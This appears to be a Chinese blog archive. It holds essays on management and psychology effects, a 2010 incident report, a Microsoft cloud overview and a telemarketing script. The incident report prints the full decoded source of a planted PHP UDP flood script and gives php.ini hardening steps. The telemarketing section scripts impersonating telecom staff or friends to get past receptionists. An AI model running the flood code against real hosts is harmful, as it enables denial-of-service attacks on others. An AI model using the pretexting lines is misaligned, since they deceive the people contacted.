戴高乐的做法是令人深思和敬佩的。没有距离感，领导决策过分依赖秘书或某几个人，容易使智囊人员干政，进而使这些人假借领导名义，谋一己之私利，最后拉领导干部下水，后果是很危险的。两相比较，还是保持一定距离好。
　　通用电气公司的前总裁斯通在工作中就很注意身体力行刺猬理论，尤其在对待中高层管理者上更是如此。在工作场合和待遇问题上，斯通从不吝啬对管理者们的关爱，但在工余时间，他从不要求管理人员到家做客，也从不接受他们的邀请。正是这种保持适度距离的管理，使得通用的各项业务能够芝麻开花节节高。与员工保持一定的距离，既不会使你高高在上，也不会使你与员工互相混淆身份。这是管理的一种最佳状态。距离的保持靠一定的原则来维持，这种原则对所有人都一视同仁：既可以约束领导者自己，也可以约束员工。掌握了这个原则，也就掌握了成功管理的秘诀。
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【手表定律】
手表定律：手表定律是指一个人有一只表时，可以知道现在是几点钟，而当他同时拥有两只时却无法确定。两只表并不能告诉一个人更准确的时间，反而会使看表的人失去对准确时间的信心。
手表定律在企业管理方面给我们一种非常直观的启发，就是对同一个人或同一个组织不能同时采用两种不同的方法，不能同时设置两个不同的目标，甚至每一个人不能由两个人来同时指挥，否则将使这个企业或者个人无所适从。
猴子与表的故事
森林里生活着一群猴子，每天太阳升起的时候它们外出觅食，太阳落山的时候回去休息，日子过得平淡而幸福。
一名游客穿越森林，把手表落在了树下的岩石上，被猴子“猛可”拾到了。聪明的“猛可”很快就搞清了手表的用途，于是，“猛可”成了整个猴群的明星，每只猴子都向“猛可”请教确切的时间，整个猴群的作息时间也由“猛可”来规划。“猛可”逐渐建立起威望，当上了猴王。
做了猴王的“猛可”认为是手表给自己带来了好运，于是它每天在森林里巡查，希望能够拾到更多的表。功夫不负有心人，“猛可”又拥有了第二块、第三块表。
但 “猛可”却有了新的麻烦：每只表的时间指示都不尽相同，哪一个才是确切的时间呢？“猛可”被这个问题难住了。当有下属来问时间时，“猛可”支支吾吾回答不上来，整个猴群的作息时间也因此变得混乱。过了一段时间，猴子们起来造反，把“猛可”推下了猴王的宝座，“猛可”的收藏品也被新任猴王据为己有。但很快，新任猴王同样面临着“猛可”的困惑。
这就是著名的“手表定律”：只有一只手表，可以知道时间；拥有两只或更多的表，却无法确定几点。更多钟表并不能告诉人们更准确的时间，反而会让看表的人失去对准确时间的信心。
手表定律带给我们一种非常直观的启发：
对于任何一件事情，不能同时设置两个不同的目标，否则将使人无所适从；对于一个人不能同时选择两种不同的价值观，否则他的行为将陷于混乱。
一个人不能由两个以上的人来指挥，否则将使这个人无所适从；对于一个企业，更是不能同时采用两种不同的管理方法，否则将使这个企业无法发展。
在这方面美国在线与时代华纳的合并就是一个典型的失败案例。美国在线是一个年轻的互联网公司，企业文化强调操作灵活、决策迅速，要求一切为快速抢占市场的目标服务。时代华纳在长期的发展过程中建立起强调诚信之道和创新精神的企业文化。
两家企业合并后，企业高级管理层并没有很好地解决两种价值标准的冲突，导致员工完全搞不清企业未来的发展方向。最终，时代华纳与美国在线的世纪联姻以失败告终。这也充分说明，要搞清楚时间，一块走时准确的表就足够了。
只选择你认为正确的
两只表并不能告诉一个人更准确的时间，反而会让看表的人失去对准确时间的信心。你要做的就是选择其中较信赖的一只，尽量校准它，并以此作为你的标准，听从它的指引行事。
尼采有一句名言：“兄弟，如果你是幸运的，你只要有一种道德而不要贪多，这样，你过桥会更容易些。”如果每个人都“选择你所爱，爱你所选择”，无论成败都可以心安理得。然而，困扰很多人的是，他们被“两只表”弄得无所适从，心力交瘁，不知自己该信哪一个。
还有人在环境或他人的压力下，违心选择了自己并不喜欢的道路，并因此而郁郁终生。即使取得了受人瞩目的成就，也体会不到成功的快乐。
在现实生活中，我们也经常会遇到类似的情况。比如两门选修课都是你所感兴趣的，但是授课时间重合，而且你又没有足够的精力学好两门课程，这个时候你很难做出选择。在面对两个同样优秀、同样倾心于你的男孩子时，你也一定会苦恼许久，不知该如何做出决断。
择业时，地点、待遇不分伯仲的两家单位，你将何去何从？在人生的每一个十字路口，我们都要面对“鱼与熊掌不能兼得”的苦恼。
在面对矛盾选择的时候，我们推荐使用“模糊心理”。所谓“模糊心理”，就是在一个很难决策的情况下，以潜意识的心理为主要基调，做出符合潜意识心理的选择。
心理学研究表明，“模糊心理”实际上是人在成长过程中不断积累的一种心理沉积。也许你并不能说出一条明确的原因，但是通过心理的潜意识，一般情况下可以做出最符合个体心理需求的决定。这里说的潜意识，实际上就是我们常说的第一印象。“模糊心理”在矛盾选择面前，能够提供给我们最安全的心理保护，因而是值得提倡的。
核心理念：更多选择、更多标准会让人无所适从。
应用要诀：明确目标、不受干扰；懂得取舍，该放则放。
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【破窗理论】
破窗理论：一个房子如果窗户破了，没有人去修补，隔不久，其它的窗户也会莫名其妙地被人打破;一面墙，如果出现一些涂鸦没有被清洗掉，很快的，墙上就布满了乱七八糟、不堪入目的东西;一个很干净的地方，人们不好意思丢垃圾，但是一旦地上有垃圾出现之后，人就会毫不犹疑地抛，丝毫不觉羞愧。
破窗理论1
也称“破窗谬论”，源于一个叫黑兹利特的学者在一本小册子中的一个譬喻（也有人认为这一理论是法国19世纪经济学家巴斯夏作为批评的靶子而总结出来的，见其著名文章《看得见的与看不见的》）。这位黑兹利特说，假如小孩打破了窗户，必将导致破窗人更换玻璃，这样就会使安装玻璃的人和生产玻璃的人开工，从而推动社会就业。
在这里，学者是为了说明孩童的行为与政府的行为所能产生的后果，从而彻底地否定凯恩斯主义的政府干预政策。“破窗理论”就是典型的“破坏创造财富”。把这样的谬论放之于洪灾，放之于地震，放之于战争，好像都很合适。
破窗理论2
也叫破窗效应一扇窗户被打破，如果没有修复，将会导致更多的窗户被打破，甚至整栋楼被拆毁。由美国政治学家威尔逊和犯罪学家凯琳观察总结的“破窗理论”指出环境可以对一个人产生强烈的暗示性和诱导性。
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【二八定律】
二八定律(巴莱多定律)：19世纪末20世纪初意大利的经济学家巴莱多认为，在任何一组东西中，最重要的只占其中一小部分，约20%，其余80%尽管是多数，却是次要的。　　社会约80%的财富集中在20%的人手里，而80%的人只拥有20%的社会财富。这种统计的不平衡性在社会、经济及生活中无处不在，这就是二八法则。
二八法则告诉我们，不要平均地分析、处理和看待问题，企业经营和管理中要抓住关键的少数;要找出那些能给企业带来80%利润、总量却仅占20%的关键客户，加强服务，达到事半功倍的效果;企业领导人要对工作认真分类分析，要把主要精力花在解决主要问题、抓主要项目上。
20%的人成功------------------80%的人不成功
20%的人用脖子以上赚钱--------80%的人脖子以下赚钱
20%的人正面思考--------------80%的人负面思考
20%的人买时间----------------80%的人卖时间
20%的人找一个好员工----------80%的人找一份好工作
20%的人支配别人--------------80%的人受人支配
20%的人做事业----------------80%的人做事情
20%的人重视经验--------------80%的人重视学历
20%的人认为行动才有结果------80%的人认为知识就是力量
20%的人我要怎么做才有钱------80%的人我要有钱我就怎么做
20%的人爱投资----------------80%的人爱购物
20%的人有目标----------------80%的人爱瞎想
20%的人在问题中找答案--------80%的人在答案中找问题
20%的人在放眼长远------------80%的人只顾眼前
20%的人把握机会--------------80%的人错失机会
20%的人计划未来--------------80%的人早上起来才想今天干嘛
20%的人按成功经验行事--------80%的人按自己的意愿行事
20%的人做简单的事情----------80%的人不愿意做简单的事情
20%的人明天的事情今天做------80%的人今天的事情明天做
20%的人如何能办到------------80%的人不可能办到
20%的人记笔记----------------80%的人忘性好
20%的人受成功的人影响--------80%的人受失败人的影响
20%的人状态很好--------------80%的人态度不好
20%的人相信自己会成功--------------80%的人不愿改变环境
20%的人永远赞美、鼓励--------------80%的人永远漫骂、批评
20%的人会坚持--------------80%的人会放弃
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【木桶理论】
木桶理论：组成木桶的木板如果长短不齐，那么木桶的盛水量不是取决于最长的那一块木板，而是取决于最短的那一块木板。
水桶效应是指一只水桶想盛满水，必须每块木板都一样平齐且无破损，如果这只桶的木板中有一块不齐或者某块木板下面有破洞，这只桶就无法盛满水。是说一只水桶能盛多少水，并不取决于最长的那块木板，而是取决于最短的那块木板。也可称为短板效应。一个水桶无论有多高，它盛水的高度取决于其中最低的那块木板。
又称水桶原理或短板理论，水桶短板管理理论，所谓“水桶理论”也即“水桶定律”，其核心内容为：一只水桶盛水的多少，并不取决于桶壁上最高的那块木块，而恰恰取决于桶壁上最短的那块。根据这一核心内容，“水桶理论”还有两个推论：其一，只有桶壁上的所有木板都足够高，那水桶才能盛满水。其二，只要这个水桶里有一块不够高度，水桶里的水就不可能是满的。
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【马太效应】
马太效应：《圣经?马太福音》中有一句名言：“凡有的，还要加给他，叫他有余;没有的，连他所有的，也要夺过来。”
马太效应，指强者愈强、弱者愈弱的现象，广泛应用于社会心理学、教育、金融以及科学等众多领域。其名字来自圣经《新约•马太福音》中的一则寓言： “凡有的，还要加给他叫他多余；没有的，连他所有的也要夺过来。”“马太效应”与“平衡之道”相悖，与“二八定则”有相类之处，是十分重要的自然法则。
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【鸟笼逻辑】
　　挂一个漂亮的鸟笼在房间里最显眼的地方，过不了几天，主人一定会做出下面两个选择之一：把鸟笼扔掉，或者买一只鸟回来放在鸟笼里。这就是鸟笼逻辑。过程很简单，设想你是这房间的主人，只要有人走进房间，看到鸟笼，就会忍不住问你：“鸟呢？是不是死了？”当你回答：“我从来都没有养过鸟。”人们会问：“那么，你要一个鸟笼干什么？”最后你不得不在两个选择中二选一，因为这比无休止的解释要容易得多。鸟笼逻辑的原因很简单：人们绝大部分的时候是采取惯性思维。所以可见在生活和工作中培养逻辑思维是多么重要。
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【责任分散效应】
　　1964年3月13日夜3时20分，在美国纽约郊外某公寓前，一位叫朱诺比白的年轻女子在结束酒巴间工作回家的路上遇刺。当她绝望地喊叫：“有人要杀人啦!救命!救命!”听到喊叫声，附近住户亮起了灯，打开了窗户，凶手吓跑了。当一切恢复平静后，凶手又返回作案。当她又叫喊时，附近的住户又打开了电灯，凶手又逃跑了。当她认为已经无事，回到自己家上楼时，凶手又一次出现在她面前，将她杀死在楼梯上。在这个过程中，尽管她大声呼救，她的邻居中至少有38位到窗前观看，但无一人来救她，甚至无一人打电话报警。这件事引起纽约社会的轰动，也引起了社会心理学工作者的重视和思考。人们把这种众多的旁观者见死不救的现象称为责任分散效应。
对于责任分散效应形成的原因，心理学家进行了大量的实验和调查，结果发现：这种现象不能仅仅说是众人的冷酷无情，或道德日益沦丧的表现。因为在不同的场合，人们的援助行为确实是不同的。当一个人遇到紧急情境时，如果只有他一个人能提供帮助，他会清醒地意识到自己的责任，对受难者给予帮助。如果他见死不救会产生罪恶感、内疚感，这需要付出很高的心理代价。而如果有许多人在场的话，帮助求助者的责任就由大家来分担，造成责任分散，每个人分担的责任很少，旁观者甚至可能连他自己的那一份责任也意识不到，从而产生一种“我不去救，由别人去救”的心理，造成“集体冷漠”的局面。如何打破这种局面，这是心理学家正在研究的一个重要课题。
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【帕金森定律】
英国著名历史学家诺斯古德•帕金森通过长期调查研究，写出一本名叫《帕金森定律》的书。他在书中阐述了机构人员膨胀的原因及后果：一个不称职的官员，可能有三条出路，第一是申请退职，把位子让给能干的人；第二是让一位能干的人来协助自己工作；第三是任用两个水平比自己更低的人当助手。这第一条路是万万走不得的，因为那样会丧失许多权利；第二条路也不能走，因为那个能干的人会成为自己的对手；看来只有第三条路最适宜。于是，两个平庸的助手分担了他的工作，他自己则高高在上发号施令，他们不会对自己的权利构成威胁。两个助手既然无能，他们就上行下效，再为自己找两个更加无能的助手。如此类推，就形成了一个机构臃肿，人浮于事，相互扯皮，效率低下的领导体系。
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【晕轮效应】
俄国著名的大文豪普希金曾因晕轮效应的作用吃了大苦头。他狂热地爱上了被称为“莫斯科第一美人”的娜坦丽，并且和她结了婚。娜坦丽容貌惊人，但与普希金志不同道不合。当普希金每次把写好的诗读给她听时。她总是捂着耳朵说：“不要听！不要听！”相反，她总是要普希金陪她游乐，出席一些豪华的晚会、舞会，普希金为此丢下创作，弄得债台高筑，最后还为她决斗而死，使一颗文学巨星过早地陨落。在普希金看来，一个漂亮的女人也必然有非凡的智慧和高贵的品格，然而事实并非如此，这种现象被称为晕轮效应。
所谓晕轮效应，就是在人际交往中，人身上表现出的某一方面的特征，掩盖了其他特征，从而造成人际认知的障碍。在日常生活中，“晕轮效应”往往在悄悄地影响着我们对别人的认知和评价。比如有的老年人对青年人的个别缺点，或衣着打扮、生活习惯看不顺眼，就认为他们一定没出息；有的青年人由于倾慕朋友的某一可爱之处，就会把他看得处处可爱，真所谓“一俊遮百丑”。晕轮效应是一种以偏概全的主观心理臆测，其错误在于：第一，它容易抓住事物的个别特征，习惯以个别推及一般，就像盲人摸象一样，以点代面；第二，它把并无内在联系的一些个性或外貌特征联系在一起，断言有这种特征必然会有另一种特征；第三，它说好就全都肯定，说坏就全部否定，这是一种受主观偏见支配的绝对化倾向。总之，晕轮效应是人际交往中对人的心理影响很大的认知障碍，我们在交往中要尽量地避免和克服晕轮效应的副作用。
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【霍桑效应】
心理学上的一种实验者效应。20世纪20-30年代，美国研究人员在芝加哥西方电力公司霍桑工厂进行的工作条件、社会因素和生产效益关系实验中发现了实验者效应，称霍桑效应。
实验的第一阶段是从1924年11月开始的工作条件和生产效益的关系，设为实验组和控制组。结果不管增加或控制照明度，实验组产量都上升，而且照明度不变的控制组产量也增加。另外，有试验了工资报酬、工间休息时间、每日工作长度和每周工作天数等因素，也看不出这些工作条件对生产效益有何直接影响。第二阶段的试验是由美国哈佛大学教授梅奥领导的，着重研究社会因素与生产效率的关系，结果发现生产效率的提高主要是由于被实验者在精神方面发生了巨大的变化。参加试验的工人被置于专门的实验室并由研究人员领导，其社会状况发生了变化，受到各方面的关注，从而形成了参与试验的感觉，觉得自己是公司中重要的一部分，从而使工人从社会角度方面被激励，促进产量上升。
这个效应告诉我们，当同学或自己受到公众的关注或注视时，学习和交往的效率就会大大增加。因此，我们在日常生活中要学会与他人友好相处，明白什么样的行为才是同学和老师所接受和赞赏的，我们只有在生活和学习中不断地增加自己的良好行为，才可能受到更多人的关注和赞赏，也才可能让我们的学习不断进步，充满自信！
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【习得性无助实验】
习得性无助效应最早有奥弗米尔和西里格曼发现，后来在动物和人类研究中被广泛探讨。简单地说，很多实验表明，经过训练，狗可以越过屏障或从事其他的行为来逃避实验者加于它的电击。但是，如果狗以前受到不可预期（不知道什么时候到来）且不可控制的电击（如电击的中断与否不依赖于狗的行为），当狗后来有机会逃离电击时，他们也变得无力逃离。而且，狗还表现出其他方面的缺陷，如感到沮丧和压抑，主动性降低等等。
狗之所以表现出这种状况，是由于在实验的早期学到了一种无助感。也就是说，它们认识到自己无论做什么都不能控制电击的终止。在每次实验中，电击终止都是在实验者掌控之下的，而狗会认识到自己没有能力改变这种外界的控制，从而学到了一种无助感。
人如果产生了习得性无助，就成为了一种深深的绝望和悲哀。因此，我们在学习和生活中应把自己的眼光在开阔一点，看到事件背后的真正的决定因素，不要使我们自己陷入绝望。
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【证人的记忆】
证人，在我们的认识里，通常都是提供一些客观的证据的人，就是把自己亲眼看到、亲耳听到的东西如实地讲出来的人。然而，心理学研究证明，很多证人提供的证词都不太准确，或者说是具有个人倾向性，带着个人的观点和意识。
证人对他们的证词的信心并不能决定他们证词的准确性，这一研究结果令人感到惊讶。心理学家珀费可特和豪林斯决定对这一结论进行更深入的研究。为了考察证人的证词是否有特别的东西，他们将证人的记忆与对一般知识的记忆进行了比较。
他们让被试看一个简短的录象，是关于一个女孩被绑架的案件。第二天，让被试回答一些有关录象里内容的问题，并要求他们说出对自己回答的信心程度，然后做再认记忆测验。接下来，使用同样的方法，内容是从百科全书和通俗读物中选出的一般知识问题。
和以前发生的一样，珀费可特和豪林斯也发现，在证人回忆的精确性上，那些对自己的回答信心十足的人实际上并不比那些没信心的人更高明，但对于一般知识来说，情况就不是这样，信心高的人回忆成绩比信心不足的人好得多。
人们对于自己在一般知识上的优势与弱势有自知之明。因此，倾向于修改他们对于信心量表的测验结果。一般知识是一个数据库，在个体之间是共享的，它有公认的正确答案，被试可以自己去衡量。例如，人们会知道自己在体育问题上是否比别人更好或更差一点。但是，目击的事件不受这种自知之明的影响。例如，从总体上讲，他们不大可能知道自己比别人在记忆事件中的参与者头发颜色方面更好或更差。　　
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【罗森塔尔效应】
美国心理学家罗森塔尔等人于1968年做过一个著名实验。他们到一所小学，在一至六年级各选三个班的儿童进行煞有介事的“预测未来发展的测验”，然后实验者将认为有“优异发展可能”的学生名单通知教师。其实，这个名单并不是根据测验结果确定的，而是随机抽取的。它是以“权威性的谎言”暗示教师，从而调动了教师对名单上的学生的某种期待心理。8个月后，再次智能测验的结果发现，名单上的学生的成绩普遍提高，教师也给了他们良好的品行评语。这个实验取得了奇迹般的效果，人们把这种通过教师对学生心理的潜移默化的影响，从而使学生取得教师所期望的进步的现象，称为“罗森塔尔效应”，习惯上也称为皮格马利翁效应（皮格马利翁是古希腊神话中塞浦路斯国王，他对一尊少女塑像产生爱慕之情，他的热望最终使这尊雕像变为一个真人，两人相爱结合）。
教育实践也表明：如果教师喜爱某些学生，对他们会抱有较高期望，经过一段时间，学生感受到教师的关怀、爱护和鼓励；常常以积极态度对待老师、对待学习以及对待自己的行为，学生更加自尊、自信、自爱、自强，诱发出一种积极向上的激情，这些学生常常会取得老师所期望的进步。相反，那些受到老师忽视、歧视的学生，久而久之会从教师的言谈、举止、表情中感受到教师的“偏心”，也会以消极的态度对待老师、对待自己的学习，不理会或拒绝听从老师的要求；这些学生常常会一天天变坏，最后沦为社会的不良分子。尽管有些例外，但大趋势却是如此，同时这也给教师敲响了警钟。
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【虚假同感偏差】
我们通常都会相信，我们的爱好与大多数人是一样的。如果你喜欢玩电脑游戏，那么就有可能高估喜欢电脑游戏的人数。你也通常会高估给自己喜欢的同学投票的人数，高估自己在群体中的威信与领导能力等等。你的这种高估与你的行为及态度有相同特点的人数的倾向性就叫做“虚假同感偏差”。有些因素会影响你的这种虚假同感偏差强度：
（1）当外部的归因强于内部归因时；
（2）当前的行为或事件对某人非常重要时；
（3）当你对自己的观点非常确定或坚信时；
（4）当你的地位或正常生活和学习受到某种威胁时；
（5）当涉及到某种积极的品质或个性时；
（6）当你将其他人看成与自己是相似时。

防止利用PHP漏洞发动攻击！！

2010-09-05T23:03:55+08:00

近来有一两台服务器网络常出现问题，甚至断网，PING直接大量掉包。重启后正常。
后经查，带宽占用过高，出现问题时带宽占用百分之一百。初步估计是有攻击了，使用监控观察，有少量UDP攻击（据经验如此量的UDP是不会占用一百M的，也十分疑惑）。启动攻击防御措施，但无济于事。后查看单个网站带宽，也没有异常。
查看带宽进出的吞吐量，当带宽占用过高的时候，是发送字节吞吐量占用百分之一百。而接收几乎为零。这不像是DDOS攻击，不排除会有“下载攻击”。搜索大型压缩文件、视频文件、应用程序并禁止下载。还是会出现类似的情况。
后装入DU METER和某一个带有流量监控功能的软件。等待“攻击”再次到来。“攻击”过后登陆后查看，确实是长时间占用了大量带宽。查看是W3WP.EXE发送的流量比较多。达数十G之巨。记录每一个W3WP.EXE进程的PID并使用IISAPP查看对应的程序池。结束发送流量最大的W3WP.EXE，再查看少了哪一个W3WP.EXE对应的程序池。跟着把当前程序池下所有的网站分池。设置每一个网站单独一个程序池。再一次等待“攻击”。等新的“攻击”来后，再使用上面的方法查到是某一个程序池，这样就查到了出问题的站点。仔细检查后，网站内除了HTM文件、部分图片和一个PHP文件外，仅有一个目录里含有ASP文件。直接停止含ASP文件的目录读取权限。问题还是存在，所以把目光盯到PHP文件上。查看IIS日志后看到有这么一行日志2010-09-05 13:21:25 W3SVC83 60.191.XXX.XXX GET /help.php ip=222.87.129.XXX&port=80&time=7200 80 - 122.225.115.XXX Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 401 5 5 1726 410。问题就已经很清楚了。在浏览器里面输入WWW.域名.COM/help.php ip=222.87.129.XXX&port=80&time=7200服务器带宽占用立马涨为百分之一百。
查到问题所在，分析PHP文件。
源文件：
解密后：

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print 'Flooded: $ip on port $rand

';
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
        $out .= 'X';
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }

        $fp = fsockopen('udp://$ip', $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo 'Packet complete at '.time('h:i:s').' with $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '. round($packets/$exec_time, 2) . ' packets/s \n';
?>

有了代码，那工作原理也就很清楚了。
整体来说，不是受攻击了。而是攻击别人了。

解决办法:

不允许PHP使用网络，把php.ini里的allow_url_fopen 值改为allow_url_fopen = Off

如果不行

;extension=php_sockets.dll （限制使用sockets.dll）
;ignore_user_abort = On
这两项前加上分号。
但默认这两项就是这样设置的。防止某些同志手动打开了的。
然后重启IIS。

微软云计算解决方案介绍

2010-09-01T13:23:29+08:00

　　在互联网时代，微软的愿景是希望借助互联网和软件的力量，为用户创造跨越不同设备的无缝体验。云计算时代的开启加速了这个新愿景的实现。微软认为，未来的互联网世界将会是“云+端”的组合，在这个以“云”为中心的世界里，用户可以便捷地使用各种终端设备访问云中的数据和应用，这些设备可以是电脑和手机，甚至是电视等大家熟悉的各种电子产品，同时用户在使用各种设备访问云中的服务时，得到的是完全相同的无缝体验。云计算平台是现有IT和互联网技术以及业务模型逐渐演变的结果，而一个成功的云计算平台可以最大限度地发挥现有软件开发经验、能力和各种资源。

　　微软的两种云

　　云计算是热门话题，但给广大用户的感觉却是让人云里雾里、虚无漂缈。如何让云计算的服务落地、真正做到让云触手可及？微软云计算解决方案做到了这一点。微软提供多种选择，用户可以根据自己需求随需所用。目前，微软主要有两种云供用户选择，即公有云和私有云。

　　微软已推出的公共云平台名称为Windows Azure Platform。该云由微软自己运营，为用户提供各种应用托管服务。Windows Azure平台目前主要提供平台即服务（PaaS）类型服务，但是微软已宣布即将推出VM Role。另外，微软还提供针对个人消费者的Live服务和针对企业的Online服务。

　　与此同时，微软还提供了私有云服务，即为那些想建设私有云的客户提供相关的产品和服务。这种私有云部署在客户自己的数据中心内部，能基于客户个性化的要求部署自己所需要的应用和服务。当然用户在使用云计算的时候可以根据实际情况同时使用上面两种不同部署类型的云计算服务。

　　微软的云计算解决方案

　　具体而言，微软主要有三类云计算解决方案，即Live和Online解决方案、Windows Azure平台解决方案，以及动态云解决方案。

　　（1）Live和Online解决方案

　　Live解决方案是微软针对消费者提供的云解决方案。该方案具体包括Windows Live、Office Live、Live Messenger、Bing以及Xbox Live等在内的多种服务。事实上，这些服务都已经有大量用户在广泛使用，比如Live Meeting每年用户使用的在线会议时长达50亿分钟；Windows Live ID每天用户登录使用人数达10亿人；Exchange Hosted Services每天处理电子邮件信息20至40亿条等。

　　Online解决方案是微软针对企业提供的云计算解决方案，全称为Microsoft Online Services。这是一套企业在线办公和沟通协作为主的解决方案，它能够帮助企业大大提高自己的业务经营效率，而无需企业自己维护和管理复杂的IT系统。该方案主要包括 Exchange Online, Sharepoint Online, Office communicator Online, Office Live Meeting, Dynamics CRM Online等。

微软的云计算积累

微软的云计算解决方案

（2）Windows Azure Platform解决方案

　　Windows Azure Platform 是一个运行在微软数据中心的云计算平台。它主要包括一个托管应用的云计算操作系统和一个为开发者提供的服务集合。开发人员既可以针对该平台来创建自己的应用，并将自己创建的应用直接部署在该平台上。Windows Azure platform包括三大部分，即Windows Azure、SQL Azure和Windows Azure platform AppFabric，其中Windows Azure可看成是云计算的操作系统，SQL Azure是云计算的数据库，AppFabric则是云计算的应用服务平台。通过AppFabric，开发人员可以把现有应用和服务与云平台的连接和互操作变得更为简单和安全，它可以让开发人员把精力专注于应用逻辑，而不是在部署和管理云服务的基础架构上。

　　值得强调的是，Windows Azure Platform可以按照云计算的方式按需扩展，在商业开发时可以节省开发部署的时间和费用。并且，该平台延续了微软传统软件平台的特点，能够为客户提供熟悉的开发体验，用户已有的许多应用程序可以相对平滑地迁移到该平台上运行。

　　（3）动态云解决方案

　　动态云解决方案是微软提供的基于动态数据中心技术的云计算优化和管理方案。企业可以基于该方案快速构建面向内部使用的私有云平台，而云计算服务提供商也可以基于该方案在短时间内搭建自己对外提供服务的云计算平台。利用微软动态云解决方案，企业能够自己智能地管理数据中心服务器、存储和网络等基础设施，提高IT基础设施资源的利用效率和管理水平，实现计算资源的动态优化。

　　微软动态云解决方案包括面向两类不同对象的解决方案：Dynamic Infrastructure Toolkit for System Center和Dynamic Infrastructure Toolkit for Hoster，前者为面向企业客户的方案，后者为面向云计算服务提供商的方案。动态云解决方案能够把企业的基础实施资源都集中在一个资源池中统一管理，它们均包含了配置、数据保护、部署、监控等四大基础设施功能模块。用户可通过自助服务门户来使用平台提供的服务，从而提高基础设施的利用率和服务质量。另外，动态云解决方案在数据中心架构路线图、部署指南，以及最佳实践、示例代码，开发工具和技术的应用方面提供了极具可操作性的建议。

　　除此之外，微软还建立了“动态数据中心联盟“（Dynamic Data Center Alliance）。该联盟成员企业围绕上述两大动态数据中心解决方案，利用微软的Hyper-V（硬件虚拟化产品）、App-V（应用程序虚拟化产品）和System Center管理套件等技术产品进行多样化的增值开发，从而构建以微软技术产品为核心的动态数据中心生态系统。

　　微软云计算的优点

　　微软云计算解决方案的优点可以概括为两个词，即自由和开放。自由体现在，用户可以利用微软的云计算解决方案自由地选择自己的云计算模式：可以自己部署私有云，可以从微软的公共云获得服务，也可以微软的合作伙伴——云计算服务提供商获得服务。开放体现在两方面，一方面，微软的云计算解决方案是一个开放的平台，它向用户和合作伙伴开放自己的开发工具、开发框架及关键的API。用户和合作伙伴都可以在该平台上构建和部署自己的云计算服务。另一方面，微软的云计算解决方案还支持传统方式和云计算方式的混合部署，即所谓“软件+服务”的部署策略，这样能保证用户已有的IT投资得到有效保护。

　　微软全面拥抱云计算

　　云计算的出现必然对整个IT行业带来巨大的变化，也会给传统软件行业提出了挑战。微软早在2006年就提出公司新的“软件+服务”战略，并积极开展云计算技术和产品的研发。微软2008年11月发布了Windows Azure平台，正式拉开了自己的云计算大幕。目前，微软有40,000左右员工在构建软件，其中大概70%从事从事基于云计算或受云计算启发的项目。今后一年之内，这个比例更会提高到90%。
我们可以看到：

　　• Windows Azure和SQL Azure始于云计算
• Bing, Hotmail和Windows Live提供云服务
• Windows, Windows Phone和Xbox与云集成
• Office, Exchange和SharePoint正在专注于云计算

号码百事通的电话营销案例

2010-08-13T12:33:35+08:00

这里省去了空洞的理论说明，而是总结了工作实践中经常发生的具体情况的应对手段。本资料仅供号百内部使用，望勿外传。首先，在电话拜访前，你应该准备妥下列资料：潜在客户的姓名职务、企业名称及经营什么、经营特色及该企业竞争对手情况。电话拜访中遇到的情况五花八门，总结如下：
一、遇到电话障碍怎么办？
打几次甚至十几次电话都找不到要找的人，这就是遇到电话障碍了。针对电话障碍举例说明应该如何应对：
A 如果知道对方公司负责人的姓名或姓氏，电话直接打到前台
销售：您好，老李在吗？
接待：您好，您找哪位？
销售：这不是李峰（李总）的座机吗？
接待：对不起。这是我们工作的总机，您要找我们公司的李总吗？
销售：是的，我是他的朋友（老乡），刚才正跟他通话，电话掉线了，可能他手机没有电了。请告诉我他的座机或者帮我转一下。

或者：哦，我是中国电信大客户服务部的。是这样的，昨天李总给我打电话让我给他办点业务，让我今天回复他。电话号码忘记了，帮我转一下他吧。

接待：好的。稍等。（转接电话或直接告诉销售人员老总的座机）
B 如果不知道对方公司负责人的姓名或姓氏。
销售：您好，是大天公司吗？
接待：是的，您是哪里啊？
销售：我是中国电信的。目前我们中国电信刚刚重组结束，想确定一批新的战略合作伙伴，目前正在针对你们XX行业筛选候选企业。能与中国电信携手，对你们公司来说也是一个重要的发展机遇。想和你们公司的负责人通个电话，简单核实一下你们的基本情况。你们老总怎么称呼，手机多少，他在吗？
接待：我们老总叫。。。，手机是。。。。
销售：好的，我会跟他联系的，拜拜！
接待：拜拜！
C、拉虎皮扛大旗（直接找负责宣传推广的负责人）
销售：您好，我们是中国电信客户服务中心，你们的销售部（市场部、宣传推广部）人员曾联系过我们，前几天你们反映的问题我们已经落实，你们销售部经理怎么称呼？
接待：姓李，李经理。
销售：谢谢，麻烦您给转一下李经理或者将他的电话说一下，我们直接跟他联系。
或者：您好，这里是中国电信客户服务中心，最近你们反映你们公司在中国电信号码百事通中的资料是错误的，我们想进一步核实一下，请转你们的宣传负责人!对了，你们负责宣传的同志怎么称呼？
接待：姓李，李经理。
销售：谢谢，麻烦您给转一下李经理或者将他的电话说一下，我们直接跟他联系。
以上是三个案例，更多案例将在今后陆续推出。
绕过前台或秘书关后，就可以与负责人通话了，与负责人通话的第一关就是开场白。

二、如何进行开场白？

“在30秒内抓住对方注意力”成为每一名电话销售人员的一项基本修炼，那如何做到这一点呢？以下几个事例供参考，请根据不同的情况选择使用：
A、请求帮忙法
销售：您好，李经理，我是中国电信号码百事通注册中心的，有件事情想麻烦一下您！（或：有件事想请您帮忙！）
客户：请说！（一般人都有一个心理，当听到别人的求助时一般不好意思拒绝，然后我们的销售人员就有了说话的机会。但是，如何让他认为你确实是在向他求助呢，请按照以下描述进行开场白）
销售：中国电信刚刚重组结束，想确定一批新的战略合作伙伴，能与中国电信携手，对你们公司来说也是一个重要的发展机遇。从电信备案资料中了解到你们公司的基本情况，认为你们公司在同行业还有比较具有竞争力的一家企业。请问您知道中国电信的号码百事通业务吗。。。。。。。（调查中得知，老百姓对于118114知道的较少，但是对于号码百事通知道的较多，因此尽量使用号码百事通）
B、第三者介绍法
销售：您好，是李经理吗？
客户：是的。
销售：我是大天公司王明经理的朋友，我叫张华，是他介绍我认识您的，王经理说您本人和您的公司都是非常优秀的，他一直非常敬佩您。他叮嘱我务必要向您问好，请问这会您方便吗？
客户：客气了（或您有什么事）。
